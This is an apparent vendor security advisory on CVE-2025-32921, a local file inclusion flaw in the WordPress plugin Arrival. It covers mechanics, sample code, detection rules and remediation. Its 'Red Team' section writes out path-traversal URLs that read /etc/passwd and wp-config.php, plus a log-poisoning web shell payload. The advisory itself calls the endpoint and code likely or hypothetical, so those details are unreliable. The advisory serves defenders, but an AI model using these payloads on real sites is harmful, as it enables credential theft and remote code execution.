CVE-2025-32921

Executive Summary

CVE-2025-32921 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the WordPress plugin Arrival by Wpoperations, affecting versions up to and including 1.4.5. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially escalating to remote code execution if combined with file upload capabilities. The CVSS score is 7.5 (High), and no public exploit or patch is currently available, making this a high-priority zero-day for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, all sites running Arrival <= 1.4.5 are at risk. Administrators should immediately disable the plugin and monitor for updates from Wpoperations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The ease of exploitation and potential for credential theft make this a critical risk for unpatched WordPress installations.

Deep Dive & Mechanics

The vulnerability exists in the Arrival plugin's PHP code, where a user-supplied parameter (likely via GET or POST) is used directly in a PHP include() or require() statement without proper sanitization or validation. For example, a vulnerable code snippet might look like:

$file = $_GET['file'];
include($file . '.php');

An attacker can manipulate the file parameter to include arbitrary files using path traversal techniques, such as:

http://target.com/wp-content/plugins/arrival/vuln-page.php?file=../../../../wp-config

This would include the WordPress configuration file, revealing database credentials. The vulnerability is classified as CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), but in this case, it is limited to local file inclusion (LFI) as the allow_url_include PHP directive is typically disabled.

Vulnerable vs. Patched Code

Vulnerable Code (Arrival <= 1.4.5):

<?php
// vulnerable.php
$page = $_GET['page'];
include($page . '.php');
?>

Patched Code (Hypothetical):

<?php
// patched.php
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include($page . '.php');
} else {
    // Handle error
    echo 'Invalid page.';
}
?>

The patched version uses a whitelist approach to restrict included files to a predefined set, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress on a local server (e.g., XAMPP, Docker).
2. Install Arrival plugin version 1.4.5.
3. Identify the vulnerable endpoint (e.g., /wp-content/plugins/arrival/vuln-page.php?file=).

Exploitation Steps:

1. Basic LFI: Read /etc/passwd:

   http://target.com/wp-content/plugins/arrival/vuln-page.php?file=../../../../../../etc/passwd
   

2. Read wp-config.php:

   http://target.com/wp-content/plugins/arrival/vuln-page.php?file=../../../../wp-config
   

3. Log Poisoning (if writable logs): Inject PHP code into access logs via User-Agent, then include the log file:

   User-Agent: <?php system($_GET['cmd']); ?>
   

   Then:

   http://target.com/wp-content/plugins/arrival/vuln-page.php?file=../../../../../../var/log/apache2/access.log&cmd=id
   

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious file parameters containing ../ or /etc/.
• Use WAF rules to block path traversal patterns.
• Deploy file integrity monitoring on critical files.

Mitigation:

• Immediately disable the Arrival plugin until a patch is released.
• Implement input validation and whitelisting for all file inclusion parameters.
• Set allow_url_include = Off in php.ini.

Indicators of Compromise (IOCs)

• Network: HTTP requests with file= parameter containing ../ or absolute paths like /etc/passwd.
• File System: Unexpected inclusion of /etc/passwd, wp-config.php, or log files in web responses.
• Logs: Apache/Nginx access logs showing path traversal attempts:

  GET /wp-content/plugins/arrival/vuln-page.php?file=../../../../etc/passwd HTTP/1.1
  

Detection Engineering

YARA Rule

rule CVE_2025_32921_LFI_Arrival {
    meta:
        description = "Detects LFI attempts targeting Arrival plugin CVE-2025-32921"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $path_traversal = /file=\.\.\/|file=\/etc\/|file=\/proc\//
        $plugin_path = /wp-content\/plugins\/arrival/
    condition:
        $plugin_path and $path_traversal
}

Sigma Rule

title: CVE-2025-32921 LFI Attempt on Arrival Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in file parameter for Arrival plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - 'file=../'
            - 'file=/etc/'
            - 'file=/proc/'
        cs-uri-stem|contains: '/wp-content/plugins/arrival/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32921 LFI Attempt on Arrival Plugin"; flow:to_server,established; content:"/wp-content/plugins/arrival/"; http_uri; content:"file="; http_uri; pcre:"/file=(\.\.\/|\/etc\/|\/proc\/)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Arrival plugin on all WordPress installations until a patched version is released.
2. Vendor Contact: Reach out to Wpoperations for a security update. Monitor the WordPress plugin repository for version 1.4.6 or higher.
3. Code Hardening: If you must keep the plugin active, apply a temporary patch by modifying the vulnerable PHP file to include a whitelist of allowed files.
4. WAF Rules: Deploy web application firewall rules to block path traversal patterns in the file parameter.
5. Monitoring: Enable detailed logging and set up alerts for suspicious file inclusion attempts.

Valters IT
Securing Digital Frontiers